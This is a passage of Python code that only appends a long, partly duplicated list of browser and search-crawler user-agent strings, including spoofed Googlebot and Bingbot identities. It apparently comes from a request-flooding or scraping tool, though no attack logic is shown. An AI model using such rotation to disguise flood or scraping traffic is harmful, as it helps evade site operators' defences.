6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com') headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)') headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)') headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)') headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)') headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)') headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)') headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1') headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)') headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)') headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0') headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)') headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)') headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)') headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7') headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET 